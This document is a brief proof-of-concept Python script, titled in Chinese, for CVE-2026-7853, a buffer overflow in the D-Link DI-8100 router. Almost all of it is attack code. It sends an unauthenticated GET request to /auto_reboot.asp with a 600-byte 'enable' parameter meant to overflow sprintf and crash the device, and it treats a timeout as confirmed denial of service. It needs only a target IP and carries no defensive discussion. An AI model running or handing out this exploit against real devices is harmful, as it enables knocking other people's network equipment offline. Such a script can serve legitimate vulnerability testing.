CVE-2026-7853 D-Link DI-8100缓冲区溢出漏洞

import requests # Target URL (Replace with actual IP) target_url = "http://<target_ip>/auto_reboot.asp" # Payload construction: A long string to trigger buffer overflow in sprintf # Adjust length based on specific buffer size requirement (e.g., 500+ bytes) payload = "A" * 600 # Data parameters to exploit the vulnerability params = { "enable": payload, "time": "1" } try: # Send the malicious request without authentication response = requests.get(target_url, params=params, timeout=5) print(f"[+] Request sent to {target_url}") print(f"[+] Status Code: {response.status_code}") # If the device crashes, the connection might reset or timeout if response.status_code != 200: print("[!] Potential vulnerability trigger (device response abnormal)") except requests.exceptions.Timeout: print("[!] Connection timed out - Device may have crashed (DoS confirmed)") except Exception as e: print(f"[!] An error occurred: {e}")